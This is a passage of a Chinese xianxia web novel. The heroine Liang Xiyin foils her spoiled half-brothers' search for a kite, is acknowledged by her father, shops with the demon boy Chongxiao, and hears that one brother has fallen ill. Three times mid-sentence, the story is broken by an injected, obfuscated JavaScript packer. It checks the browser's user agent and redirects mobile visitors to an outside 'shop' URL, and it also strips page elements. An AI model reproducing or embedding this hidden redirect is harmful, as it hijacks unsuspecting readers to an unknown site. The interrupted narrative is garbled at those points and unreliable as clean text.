据她先前了解到的情况,在府中排第六、第七的梁宣、梁宜是目前最受宠的冯姨娘的儿子,二人是相差三岁的亲兄弟。因着他们母亲的缘故,两人颇受梁允的喜爱。这也养成了他们飞扬跋扈的性子,在一众庶子之间格外嚣张。 梁允会对这两个庶子上心也另有原因。他的嫡妻沈氏是奉父母之命所娶,本就没有多少情谊在,且沈氏自幼体弱多病,至今只生育了一儿一女。儿子也是常年缠绵病榻,自然不如其他孩子讨喜。 最先反应过来的是小厮,他上下打量几了遍梁惜因,颇有些不敢相信地喊道:“你是梁四?那个傻子?!” 梁宣的目光疑惑地在他们之间扫着:“什么傻子?说清楚点!” 小厮凑上前去,低声向二人嘀咕了一番。 梁宣转了转眼珠,也想起了此前听到的闲言碎语。他很是稀奇地围着梁惜因转了一圈,啧啧道:“哦——你就是我娘说的那个贱人生的傻子啊?” 说完他又后退了几步,装模做样地掸了掸身上的衣服:“诶,我娘说这里最是晦气,可别给我沾回去了。” 梁惜因深吸一口气,努力忍住想要凑这小子的冲动,语气波澜不惊地道:“不知几位来此有何贵干?” 梁宜站在他哥身后,带着几分惊奇地盯着梁惜因:“哥,她真的是傻子吗?看着不像啊。” “多谢七弟关心,我前些日子就已彻底清醒了。”梁惜因代梁宣答道。 “我管你是真傻还是假傻,我问你,看到小爷的风筝没有?”梁宣气势汹汹地道。 年纪不大,口气倒是不小,一口一个小爷。梁惜因心内腹诽,面上却还是茫然地道:“风筝?什么风筝?我未曾见到过。” 小厮上前一步:“怎么可能?我亲眼见着它掉到这里的!” “兴许是你看错了。”她淡然道。 梁宜扯了扯梁宣的衣袖:“哥,会不会真是我们搞错了?” 梁宣似是也陷入了怀疑之中,他不爽地瞪了梁惜因一眼,对小厮招手道:“走,先去别处看看。” “是,公子。”小厮立马点头哈腰地跟了过去。 等三人消失在视线中后,梁惜因立马小跑着奔向不远处的下房。时间紧迫,她此次直接在外面拦住了一个婢女,命令她道:“我乃府中四小姐梁因,你去帮我把春雨叫出来。” 这婢女年纪轻轻,想是才入府没多久。一听“四小姐”,再一扫她周身气度,立时应道:“是,小姐。”连梁惜因身上衣物都未来得及细看。 转眼功夫,春雨就急匆匆跑出来了,一边将挽起的衣袖往下放着一边道:“小姐,您找奴婢何事?” 梁惜因语速飞快地道:“你现在就去找三小姐,让她来我院中一趟。” 春雨不解:“三小姐?” 梁惜因无暇细说:“现在就去,等后面你就明白了。” 春雨见她神色焦急,疑心是出了什么大事,当下也不再耽搁,提起衣裙跑远了。 梁惜因则是又回了小院之中,因跑得太快,还在微微喘息着。没过多久,门口再度响起一阵杂乱的脚步声。 为首的是那梁宣,他一双三角眼恶狠狠地盯着梁惜因,喊道:“就是你把小爷的风筝藏起来了!我就说,住在这种地方的能有什么好东西!” 梁惜因已平复得差不多了,她深吸一口气,故作惊讶道:“六弟,你这可是冤枉我了,我好端端地藏你一个风筝做甚?” “还在狡辩!周围我们全都找过了,都没有。我那风筝必定就在你院中,不然还能凭空消失不成?那可是阿爹送给我们的!”说到最后,这锦衣玉袍的小公子似是气急,指挥小厮道:“给我搜!搜到了要你好看!” “是,六公子。”小厮大摇大摆地走进屋内,全然不将梁惜因放在眼里。 屋内很是简陋,几乎是一览无余。那两位公子自诩金贵,只是站在院内,不肯进来。 “搜完了没?”梁宜喊道。 “快了快了,七公子,还剩一间房。”小厮说着就要推开最里面那间房的房门。而从刚才起就一直没什么动作的梁惜因却忽然拦住了他。 “慢着,你不知道女子的闺房是不能随便进的吗?” 小厮顿了顿,不屑一顾地道:“就你这破屋子,还闺房?” “屋子再破也是我住的地方,还是说你一个下人要强闯府中小姐的房间?”梁惜因不紧不慢道。 小厮夸张地笑了两声:“你还真把自己当小姐啊?谁还记得你梁四啊?” “那是以前,现在可不一定了,我自清醒以来还未曾拜见过父亲。不论如何,我都是他的亲生骨肉。你说要是梁老爷知道一个下人敢如此作威作福,会作何反应?” 小厮一时竟没想出反驳的话来。他在梁府中也待了好些年了,也见识过梁四的生母嫣姨娘当年是如何受宠。看着面前长相与嫣姨娘有几分相似的梁惜因,他踌躇了起来。 梁老爷对几个庶女都不怎么关注,最上心的还是嫡出的三小姐。但若是老爷知道一向被他忽视的傻子四小姐清醒过来了,会不会......那到时候倒霉的还是他这个下人。 梁宣梁宜见半天都未有动静,越发不耐烦起来。梁宣做了半天的心理准备,一边嘀咕着“我回去一定要洗个澡”一边踏了进来。 眼见小厮呆立在那不动,他顿时心头火起:“小爷在外头等你半天,你倒好,在这站的跟个木头人一样。” 小厮擦了擦额上的汗,哈腰道:“诶哟,六公子,小的也不想啊。只是这四小姐的闺房,我们这些外男也进不去啊。” “闺房?”梁宣挑眉,“我倒偏要进去看看。” 依旧是梁惜因拦住了他:“六弟,男女授受不亲,莫说是你了,就算是同父同母的亲兄弟也不例外。” “你如今年岁也不小了,再过一段时日便可以议亲了。若是让这皇城中的姑娘们知道,这梁府的六公子是个擅闯他姐姐闺房的无理之徒,你觉着她们会怎么想?” 梁宜在后面推了推他哥:“别听她的,这里就我们几个,谁会知道?找回风筝要紧。” “七弟此言差矣,岂不闻这世上无不透风的墙,你们今日大张旗鼓地跑到我这来讨要一个我从未见过的风筝,就这么确定一路上没有被其他人看见?还是说,你们这般确信我不会将此事传出去?” “诬蔑庶姐行偷盗之事并出言顶撞,是为不悌;强闯庶姐房间,是为无礼。我们梁家一向又最重礼义廉耻,我清誉受损嫁不出去也便罢了,但六弟你身上可还寄托着冯姨娘的厚望呢。若是父亲知道了,少不得要教训你们几句,到时别说是再给你们送个新风筝了,只怕是冯姨娘也要背上一个教导无方之名。” 梁惜因并不知道这事能不能传到梁允耳中,也不知梁允会如何处理这事。但她尽可能把事情往严重了说,倒还真唬住了这两个年纪不大的小崽子。 梁宜扯了扯他哥的袖子:“哥,要不还是算了吧...” 梁宣眼睛都气红了:“行,男的不能进是吧?你给我等着!我看你能嚣张到什么时候。”他踹了脚站在一旁的小厮:“还愣在这干嘛?去喊人啊!” “是是是。”小厮连掸一下衣服都不敢,拔腿就向外跑去。 真是来也如风,去也如风。 梁惜因略微松了一口气,还好还好,果然封建礼教压死人啊。看梁宣梁宜这模样,明显对梁允有几分惧怕,看来这传闻中的“受宠”也不乏有些水分在。也是,像梁允这种滥情之人,若是你有一点让他不满意,他转眼就能收走你从他那里得到的一切。 梁宣像是一刻都不愿意在里头多待,又拉着梁宜走回了院中:“真是晦气。” 走了正好。梁惜因走近紧闭的房门,借着衣袖的遮掩,在木门上轻叩了两下。门内随即也传来了两声轻叩回应她。 梁宣虽站在外边,但仍时刻注意着梁惜因的动静。他探着脑袋,没好气地道:“鬼鬼祟祟地站那干嘛?做贼心虚了?” “六弟这是什么话。”梁惜因也不恼,托着两盏茶水,绕到了背对着院门、正对着几间房屋之处,“我这儿也没有茶水,只好委屈一下六弟七弟了。” 梁宣和梁宜随着她的动作转身。梁宣毫不掩饰面上的嫌弃,连多看一眼都不愿意:“这玩意能喝吗?小爷我可不想回去拉肚子。” 梁宜原本都伸出手了,闻言又将手缩了回去,抓着他哥的衣摆道:“听到没?还不拿远点!” 梁惜因余光瞥见重霄拿着风筝从屋中走了出来,步伐极快地绕到了屋后,行动之间没发出丝毫声响。等他再回屋时,手中的风筝已是不见了踪影。 她面上依然不动声色,还在劝这两个讨嫌的小公子喝水,好叫他们不会突然回头。梁宣忍无可忍,一掌将梁惜因手中的托盘掀翻在地:“都说了不喝!能不能滚远点!” “六弟,你这是在做甚?!”门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14358962|152851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口传来一身喝斥,梁宣愕然抬头,向梁惜因身后望去。看清来人后,他缩了缩脖子,讷讷道:“三姐。” 除了梁允,他和梁宜在府内最怕的就是梁书芸了——这个时常板着脸教训他们,还会向阿爹告状的嫡姐。 梁书芸皱着眉头,走近之后又问了一遍:“六弟,你在四妹这作甚?” “我...”梁宣才吐出一个字,又有一群人乌泱泱地闯了进来。那小厮高声喊道:“六公子,七公子!这下看她还有什么理由不开门!” 见梁书芸在此,小厮呆了一瞬,立马收敛了神色,搓着手掌道:“小的见过三小姐。三小姐怎么来此了?” 梁宣暗骂一声,慌忙解释道:“不是,三姐,你别听他胡说。”他指向梁惜因,嗓音陡然拔高不少,“是这个贱人偷了我的风筝,还不让我进去搜!” 梁书芸眉心紧拧,瞪着他道:“梁宣,注意言辞!” “哦。”梁宣不情不愿地闭上了嘴,转而愤愤地盯着梁惜因。 梁书芸的目光也落在了她此前从未见过的梁惜因身上,眸中闪过一丝惊艳。这四妹妹...和传闻几乎完全不一样。她舒展了眉目,温声问道:“四妹,事情究竟如何?” “三姐。”梁惜因先对她规规矩矩行了一礼,才说:“我今日原是在院中坐着。也不知为何,六弟和七弟忽然敲门要进来,还直言是我偷了他们的风筝,可我却并未见过什么风筝。” “说谎!不是你还能是谁!”梁宜不满地喊道,末了又补充一句:“那是阿爹刚给我们买的...” 梁书芸听后默然。梁允从没给她买过这些小玩意,只会一板一眼地询问她的衣食起居、书画学业。仔细想想,似乎连对她露出笑容的次数都很少...... 她很快收拾好情绪,问道:“缘何这般笃定?你们可有何证据?” 梁宣和梁宜对视一眼,摇了摇头。 “这附近都找过了不曾?” 这回二人倒是很肯定地点头了。 梁书芸不放心,又让跟在她身后的侍女和小厮带来的那群人重新去找一遍。 这次很快就有一个婢女手持风筝匆匆跑了进来:“找到了,小姐。” 梁书芸接过那肥燕风筝,问两人道:“是这个吗?” 梁宣眼睛都要直了,他一把拿过那风筝,上上下下仔细打量了遍,然后问那婢女:“你从何处找到的?” 梁书芸以眼神示意她回话,婢女这才行了个礼道:“回六公子,奴婢是在不远处的冬青树丛中寻到的。” 梁宜质疑道:“不可能!我和我哥先前分明找过那了,根本就没有!” 去寻的人此时也陆陆续续回来了,不少人都为那侍女作证道:“就是在那处没错,小的也看到了。” “是啊是啊,奴婢亲眼见她从那树丛中捡起的。” 梁宣一脸愤然加难以置信,怎么都想不明白。梁惜因见他这副呆滞模样,没忍住弯了弯唇角。 梁宣登时就像被踩了尾巴般,指着梁惜因道:“三姐,你看她!” 梁书芸疑惑回头,就和同样疑惑的梁惜因撞上了视线。她又扭头问梁宣道:“看什么?” “你、你...”梁宣气得连话都快说不出了,他又去问那群下人:“你们看到没有?” 一直注意着这边动静的人本就不多,即使看到了,此时也都眼观鼻鼻观心,无人回话。有几个下人偷偷瞥了眼梁惜因,如今四小姐已然清醒,这府内的天,怕是又要变了。 是以回应梁宣的只有一片沉默,令人心寒的沉默。 梁宣涨红了脸,指着他们说:“你们都给我等着!”语毕,又指回梁惜因,忿忿道:“尤其是你,梁四,给我等着!” 梁书芸面露不满;“六弟,休得无礼,这是你四姐。” 但梁宣放完狠话后就拉着梁宜跑了,连带着身后的那一群人。无人注意到,一缕黑气悄然环绕在了他颈间。 院内顿时清净不少,梁书芸吩咐随行的婢女去收拾地上的茶盏碎片,自己则委婉地问梁惜因道:“久闻四妹身体有恙,如今看来是好全了?” 梁惜因浅笑着说:“是啊,就是前几日的事,谢三姐关心。” 梁书芸面带喜色道:“这可是件喜事啊,要好生庆祝一番才是。想来阿爹知道了也会很高兴的。” 那可不一定...梁惜因又说:“且先不提这些,今日之事,多亏三姐了。” “何必言谢,六弟和七弟跋扈惯了,但今日也着实是欺人太甚了些。”梁书芸问她道:“是你让那婢女来寻我的?” “是。事发突然,除了三姐,我也不知还能去向何人寻帮助了。” 梁惜因此言不假。她早便听闻梁三小姐梁书芸端方知礼、蕙质兰心,经常去给贫苦人家施粥,同时极重礼法和府内众人和谐,确实是再合适不过的人选。 梁书芸见她眉间愁绪萦绕,不禁执起她的手道:“四妹你放心,我现在便带你去找阿爹。今日之事,断然不会再发生第二次。” 5. 改善 梁书芸拉着她就要往外走,梁惜因急刹几步,“等等,现在吗?”未免太突然了点吧?况且梁允想不想见她还不一定呢。 梁书芸惑然地看向她:“不然?这有何要等的?” 也是,迟早都是要见的。梁惜因叹了口气,答应道:“好,那便走吧。” “眼下这个点,阿爹应是在书房内。”梁惜因一路跟着梁书芸穿过了大半个梁府,雕梁画栋,层台累榭,目不暇接。 所以...既然这么有钱,为什么不给她那小院修一修啊!漏雨了都要她自己补! 等走到了书房门口,梁书芸让梁惜因在外稍候,自己先推开了那扇雕花梨木门。 梁惜因在外感受着扑面的春风,日光正好,透过树影给大地铺上了一层碎金。少顷,便有侍女来请她进去。 梁惜因点头,跟在她身后进了书房。她垂眸在桌前站定,先给面前之人行了一礼:“女儿梁因,见过父亲。” 一道中年男子的声音传入她耳中,“起来吧。” 梁惜因这才抬起头来,眼前的男子仪表不俗,面沉似水,眉心一道明显的川字纹,浑身透着隐隐的官威。 梁惜因不动声色地收回视线。果真是人不可貌相,谁能猜到这看着庄重沉稳的人,私底下的生活会是那般不堪?若不是没有选择,她连这一声“父亲”都不愿叫。 梁允怔怔地注视着梁惜因,一时忘言,他嘴唇嗫嚅了两下,但终是没有发出声来。直到立在身旁的梁书芸小声提醒了声“阿爹”,他才如初梦初醒般回过神来。 “你...”他嗓音略显沙哑,“什么时候清醒过来的?” “就在前些时日,没多久。”梁惜因答道。 “好啊,好啊...”他自言自语了两句,又道:“府内东侧应还有处空院落,日后你便搬到那处去吧。” “多谢父亲美意,只是我自小便生活在那小院中,已然习惯了,换住处什么的便不必了。”主要还是为图个清静,要换个人来人往的住处,一旦被发现她窝藏魔族,那直接玩完。 梁书芸不解地问她道:“四妹,你当真想好了?” 梁惜因笑眼看她:“是。” 梁允摆了摆手:“也罢也罢,那我多给你安排几个侍女。” “不必。”梁惜因很快回道。这要是真安排了,那她是想瞒都瞒不住啊... 现在是父女二人都不解地望向她了。梁惜因沉默片刻,解释道:“我这些日子一个人惯了,若是身边突然多出几个人来,反倒会不适应。” 梁允不语,挥手让屋内其他人都退下。梁书芸似还想要说些什么,最终也只是担忧地看了梁惜因一眼。 梁惜因向她弯了弯嘴角,示意她放心。 待书房的门重新被关上,梁允起身走到窗前,负手而立。所见所闻,唯有满园春色,万物和鸣。半晌,他沉声开口道:“梁因,你在怪我?” “女儿不敢。”她不是原身,没有资格与立场去责怪旁人。 梁允依旧背对着她:“为父年轻时不懂事,是干了不少荒唐事,你娘她...” “父亲,这些都是过去之事了。”梁惜因打断他。真正该听到这番话的人早已不在了。 梁允止住了话头,侧过身子,半是怅惘半是怀念地道:“是啊,再怎么想也都过去了。” “你如今能清醒过来也好,往后一应吃穿用度皆与府中小姐相同。明日我会下令办一场家宴,来告诉府内诸人这一消息。” “是,女儿谢过父亲。”梁惜因再次行了一礼。 从书房出来后,梁书芸竟还在外面等着她,一见到她便立马迎上前来,问道:“四妹,如何?” “一切都好。”她眼中的关切不似作假,着实令梁惜因有些意外。这偌大的梁府内,也非尽是虚情假意。 她是从梁允的话中听出了悔意没错。但事已至此,再后悔又有何用?斯人已逝,往事已矣。且他至始至终都没有提梁宣、梁宜的错处,这心还真是偏得彻底啊。 告别梁书芸回到小院后,已经有手脚快的下人搬来了一箱箱用品。见了梁惜因,他们无不恭敬地唤道:“四小姐。” 梁惜因点点头,让他们免礼,随后随手打开了一个箱子,只见满目的珠宝首饰,水粉绸缎。 她有些诧异:“这也是梁老爷让你们送来的?” 被问到的侍女摇了摇头:“是三小姐下令送来的。” 梁惜因合上箱子,笑道:“她有心了。回去告诉你们小姐,就说我改日一定亲自前去拜谢。” 等送走了前来送东西和修葺外院的下人后,梁惜因终于得以打开最里边屋子的房门。甫一开门,她就被拦腰抱住了。 重霄抬头看她,委屈道:“姐姐,你怎么才回来。” 梁惜因蹲下身子,也搂了搂他:“我这不是才出去半天嘛。” 这搞得活像她十天半个月没回来了一样。 “姐姐,那我做得好不好?”重霄满含期待地问。 “可好了,此次多亏了有我们阿霄在。”梁惜因揉了揉他的脑袋。 闻言,重霄双眼立时就亮了起来。果然小孩子就是好哄啊,再对比一下方才那两个混世魔王,简直不要太贴心。 梁惜因牵着他的手走到门外,打开一个箱子展示给他看,“你看这是什么?” “是银子。” 对!银子!她还是第一次见到这么多白花花的银子,实在是忍不住老泪纵横。 按理说庶女是拿不到这么多银子的,但梁允也不知是不是出于愧疚,给得格外多。不过管他呢,有钱花就行。 “开心吗?这下我们有钱了。”她问。 重霄看着她的笑容,也扬起了唇角:“嗯,开心。” “走,姐姐带你出去花钱去。”快走到小院门口时,梁惜因又停住了脚步,“等一下。” 她回身从梁书芸送来的箱子中找出水粉,把重霄眉间的印记盖住了,想了想后又把他眼下的两枚红痣也给遮住了。 而重霄全程都是一动不动的任她捯饬。做完这一切后,梁惜因看了看效果,只觉面前的小孩少了几分阴森邪气,倒与那富贵人家的玉雪小公子别无二致。 梁惜因满意一拍手:“这下可以走了。” 随后二人就来到了那熟悉的狗洞前。 梁惜因:“......”再有钱狗洞还是得照爬。 她回头歉意地笑了笑:“还是要再委屈下你了。” 重霄跟着她蹲下身子:“不委屈,只要能和姐姐在一起就好。” 梁惜因默默回头。多好的孩子啊这是! 皇城繁华依旧,丝毫不会被哪家哪户的变故所影响到。 两人径直走向了成衣铺,“先给你买几身衣服吧,感觉你这几日长高了。”梁惜因说道。这个年纪的孩子正是长身体的时候。 店家扫了眼二人的面容,很是热情地招待道:“哎呦,姑娘,你这弟弟小小年纪长得可真俊,一看就是亲弟弟。” 梁惜因也不反驳:“多谢,我来此就是想给他挑几件成衣。” “诶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14358963|152851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,那姑娘你可算是来对地方了,我们店里有的是成衣。”说着,店家就拿了一件靛蓝绣竹锦袍让重霄套上。 都说人靠衣装,做工精巧的服饰衬得重霄的面容更为俊秀。梁惜因眼前一亮:“好看!买!” “姑娘再看看这件呢?”店家又拿出一件玄青暗绣织锦衫。 “也好看,买!” “那这件呢?” “买!” ...... 店家笑得嘴都要合不拢了,把衣服包好递给了梁惜因:“姑娘以后常来啊!” 梁惜因捧着包袱陷入了沉默,她有买这么多吗......没事,反正她现在有钱了。 她正准备掏银子付账,重霄却从后面扯了扯她的衣袖。梁惜因侧首以眼神询问他,就见重霄指了指一旁的月白散花云烟裙。 店家自是没错过他这一小动作,满脸堆笑的将那套衣裙取了下来:“小公子真是好眼力,这衣服是由素罗纱制的,是上等的料子。姑娘这般貌美,穿着定然合适。” 梁惜因犹豫着说:“那定是很贵吧...” 店家立马回道:“诶,不贵不贵,况且这可是小公子亲自选的,姑娘你就拿下吧。” 梁惜因低头,果见重霄正望着自己,眼神真挚。 “唔...那好吧。”就当是为今日小小的庆祝一番好了。 结完账后,天色已不早了。梁惜因本想带重霄寻一处店面用饭,却被一阵吆喝声给吸引住了。 “走过路过瞧一瞧看一看啊,我们书铺新上的修仙秘籍!” 梁惜因走上前去,好奇地问他:“修仙秘籍?” “对对对,姑娘里边请。”他把梁惜因带入店内,又继续去门口吆喝去了。 梁惜因借着将落未落的夕阳和店内的油灯,看清了最上面一本书的题字——《修仙秘法,三十天直接飞升》。 梁惜因:“......”我的母语是无语。 要真有这种秘法,那还要这么多修仙门派干嘛?办着好玩? 但架不住真有人信。旁边一位大娘拿起一本,面露惊奇:“还有这等奇书?买一本回去给我儿子看看。” 她身旁的人说:“你儿子不是正忙着科考吗,还有功夫看这个?” “唉,别提了。这都考几次了也没考上,说不定换个路子就成了呢。” 两人的话题逐渐变为了各种家长里短,梁惜因没再听下去,她翻了翻其余书册,想看看是不是每本都这么离谱。 如今妖魔横行,并不是每一处都像皇城这般太平。且这世上无法预料的变数太多了,单是为了护住自己和重霄,她也想要去试一试这条路。 况且既是已经来到了这个世界,不去尝试一番岂不是可惜了? 不过民间到底是距修仙界太远了。她这翻了半天,才勉强找到几本看着正常一点的。 梁惜因付完账后去寻重霄,后者方才见她要进去,便主动接过包袱说在铺子门口等她。此刻他仍一动不动地站在原地等着,小身板都快要被那大包小包给淹没了。 梁惜因失笑,上前接过包袱:“让阿霄久等了。” 重霄抬眸,那本静默空洞的双眸顿时映入了漫天霞光:“姐姐,你来了。” 梁惜因一手牵起他:“饿了吧,走,姐姐带你吃饭去。” 梁惜因不曾遮掩面上的笑意,重霄也就笑着问她道:“姐姐因何这么开心?” “有吗?”梁惜因微愣,看向天边的那轮红日,“我只是在想,一切都会好起来的。” 6. 生疾 次日,梁惜因按先前说的去了梁书芸的院落。 梁书芸面露喜色,上前挽住她:“四妹来了,我带你去见见阿娘和弟弟。” 沈氏和梁书芸很是相像,眉目和蔼,眼角已隐隐生出了几道皱纹:“这便是四姑娘吧,果然如书芸所说,是个顶水灵的人啊。” 梁惜因含笑行礼:“见过母亲、五弟。” 梁书宥应了一声:“四姐...”怎料话音未落就咳了起来,咳得他本来苍白的面孔竟也泛上了几丝血色。 梁书芸忙上前给他顺了顺背:“阿宥,快喝些水。” 梁书宥端起杯盏抿了一口,带着些歉意地对梁惜因说:“让四姐见笑了。” 梁惜因摆手道:“无妨。” 梁府的嫡公子体弱多病早便不是什么秘密了。梁允此前还花了大价钱去请所谓的“江湖神医”,却被告知“五公子活不过弱冠”,结果可想而知,他直接就被乱棍打出府了。 那“神医”所言定然有夸大的成分,但她观梁书宥这虚弱的神态,也确是沉疴难愈了。 梁惜因斟酌着开口问道:“五弟近来也没有好些吗?” “多谢四姐关心,老毛病了,一直时好时坏的。”梁书宥答道。 沈氏叹了口气:“是我这个当娘的不好,打娘胎里带出来的毛病,吃了多少药也不见好。” 梁书芸握住她的手:“娘,别这么说...” 梁惜因:“......”怎么气氛突然就悲起来了。 “真的没有什么根治的法子吗?换药什么的都没用吗?”她又问。 “是有一种仙药传闻能治百病,只是...”梁书芸顿了顿,“那药名为‘银燕草’,三百年一现,数量极为稀少,基本上是求不到的。” “这样啊...”梁惜因点头。 “好了,不说这些了,还未向四姑娘道喜呢。”沈氏转而说。 梁惜因笑了笑,低声道:“也没什么可喜的。” 这话沈氏没听清,她看着梁惜因,宛若又见到了当年初入府时那才貌俱佳的女子。怕徒惹眼前的姑娘伤心,她终是没有再提及那些往事,而是聊了些家长里短。 时间悄然流逝着,沈氏拨着茶沫:“这府里也难得有人愿意听我们说这些闲话。” 梁惜因微诧:“怎会,母亲可是梁府主母...”说到一半她就反应过来了,是了,夫君的漠视,孩子的多病,妾室的纷扰...谁又能说得上一声容易呢? 沈氏按了按额角:“我乏了,书芸,你带四姑娘回房吧。” “是。” 梁书宥也回去喝药了,梁惜因随着梁书芸到她的房内坐下。里头布局雅致,暗香阵阵。 梁书芸注视着她:“四妹,你能清醒过来真好。” 梁惜因失笑:“三姐,这话你先前已是说过了。” “不,”梁书芸摇了摇头,“之前我是为你高兴,现在则是为我自己。” 梁惜因惑然地盯着她。 “我虽是家中嫡女,却时常觉得这偌大的皇城,连个可以说话的人都无。”梁书芸手中握着茶盏,“众姐妹待我俱是尊重有余,亲近不足。其余世家小姐则是严守那礼法,见面多以切磋琴艺、谈论诗文为主,实在是无趣。” “但四妹你给我的感觉不一样,你眼中没有那么多复杂的东西,和我相处时也无那些顾忌,这些我都能感受的到。” 梁惜因静了片刻,笑道:“那日后我再来找三姐说话时,三姐可莫要嫌我烦。” 梁书芸笑眼弯弯:“怎会,我这儿随时欢迎四妹。” 梁惜因起初求助梁书芸确实别有所图,但接连相处下来,她倒也是真心想与她相交。只是没承想梁书芸这么快便和她说了心里话,世家小姐的戒心还是太小,她往后得多提点几句才是。 这般聊着,很快就到了日中,梁书芸站起身来:“走吧,四妹,时候也差不多了,今日阿爹为你准备了家宴。” 两人到宴厅时,已有不少人在此了。一见梁惜因是和梁书芸一起来的,心内顿时都有了计较,纷纷上前来搭话。 “这位便是四姑娘吧,模样可真俊啊。” “此番祝贺四姑娘了,四姑娘得空时记得来我院中坐坐。” “四姑娘这衣服可真好看,穿上合适极了。” “......” 这刚开始她还能应付得过来,可随着人越来越多,梁惜因逐渐眼花缭乱起来。不是,梁允到底在后院养了多少女人啊?? 还有那些哥哥姐姐弟弟妹妹的,她能记得清就见鬼了啊!! 好在没过多久,梁允便到了。宴席正式开始,众人各自入座。梁允在上方环视一圈,问沈氏道:“书宥没来吗?” 沈氏低眉答道:“书宥喝完药后还是不适,我便让他留在屋内休息了。” 梁允点头,没再多问,旋即又皱眉道:“六公子为何也没到?” 一位妇人答道:“阿宣从昨日起就染了风寒,实在是不便过来。” 梁惜因闻声望去,只见答话的妇人样貌美艳,颇具风情,和沈氏分明是差不多的年纪,却看不出一丝衰老之态,想必就是那位冯姨娘了。倒也难怪梁允会这么宠她。 冯姨娘也察觉到了她的视线,侧眸看了过来,又在眼神相触的那一刻轻蔑地一勾嘴角,移开了视线。 一个庶女,脑子突然误打误撞的好了,竟还劳老爷兴师动众地办这么一场家宴,无非就是仗着老爷对那死人的几分愧疚。那女人要是还活着,早就和这府上的其他女人一样,不知被忘到哪个角落去了,哪值得老爷记上这么久? 梁惜因:“???” 她好像有点明白梁宣和梁宜的性子是从哪来的了。 一场家宴在众人各异的心思中结束了。梁惜因回到小院,终于有时间好好看看昨日新买的那几本书了。 她先是打开了那本《修仙界知识大全》。嗯...民间果然什么书都有啊。不过这本书的内容看着倒真有几分可信。 “唔...当今第一大门派是玄晖宗啊。”看来那杜昱还真有几分本事,应该不是只会拿剑鞘砸妖兽吧... 重霄与她一同看着这些书,闻言说道:“玄晖宗内有七大峰,每峰所修不同,但都出了很多高手大能。” 梁惜因讶异道:“咦,阿霄,你对这些也有了解啊?” 她这一问反倒把重霄给问住了。他适才只是下意识地说出了那些话,自己都不清楚是从哪里知晓这些的。 梁惜因见他愣住,笑了笑道:“无事,也许是你之前听人说过,无意中便记住了。” 重霄迟疑着应道:“或许是。” 翻完这一本,梁惜因又打开了那本《修仙入门》。这本就比较离谱了,只见开头写着:于深夜无人之处,空腹站立,张开双臂吸取月之精华......所以不会还真有人照做了吧?? 重霄也没忍住弯起唇角,“这些都是胡扯,姐姐若是想学,可以先从调息开始。” “调息?阿霄,你连这也会呀?” “嗯...许是我之前也听人讲过。”他为什么会知道这些不重要,重要的是他能帮到姐姐。 梁惜因抱了抱他:“太好了!还是我们阿霄最靠谱!” 当晚梁惜因便按重霄的法门进行调息,也不知是不是心理作用,第二日醒来之时,她确实感到身心都轻快了不少。不过还是要再多练些时日看看效果。 收拾好后,梁惜因便动身去找梁书芸。与往日不同的是,府上不少人皆是步履匆匆,神色慌张,不禁令梁惜因心生惑然。 到地方后,梁惜因 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14358964|152851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把这些和梁书芸说了,问她道:“府上可是出了何事?” 梁书芸也显出愁色来;“是六弟。” “梁宣?他不是染了风寒吗?” “不是风寒。”院外依稀能听见慌乱的脚步声,“六弟不知何故,先时只是轻微的发热,后来愈发严重,昏睡不醒,就像被魇住了般,一直喊着‘救命’‘不要杀我’这类的话。人也是肉眼可见地消瘦下去了,长此以往,只怕是...” “竟是这般严重?”梁惜因惊道,前几日还活蹦乱跳的人,这就快不行了? “是啊,我这边已送了些药材补品过去了,正打算稍后去看望一番,四妹你可要与我同去?” 梁惜因思索片刻,还是摇头道:“罢了,我还是不去了。” 回去后,梁惜因把这桩稀奇事说与重霄听了。重霄双眼微弯:“是吗...” “怕是撞上了什么东西,”梁惜因也没多在意,“这府上这么多人,也轮不到我们来操心。” 她继续翻看起未看完的书册,其中一本《阵法大全》格外吸引她的注意。 “阵纹、阵眼、阵图...好生熟悉的字眼。”莫非是此前看小说时记住的?那也不该会留下这么深的印象啊,她甚至不用看后文,就能明白每一个词的含义和里头不同阵法的用途,就如刻在她脑中一般。 梁惜因思索了半天也没思索出个所以然来,她转而唤来重霄:“阿霄,关于阵法你有了解吗?”说着,她把手中的书递给了他。 重霄接过翻了翻:“这上面不少地方记载得都有疏漏,像这处破阵之法,并非所有阵都能通过阵眼破解...”他接连又指了几处,在注意到梁惜因的视线后慢慢止住了话头,目光躲闪着说:“姐姐缘何这般看着我?” 梁惜因眼含笑意:“我在想,我们阿霄懂得好多。” 也是奇了,她昨日拿了一本剑法问重霄,重霄自言不曾了解过,这说起阵法来却是见解颇深。难不成...这个世界中的阵法本身就更好理解一些? 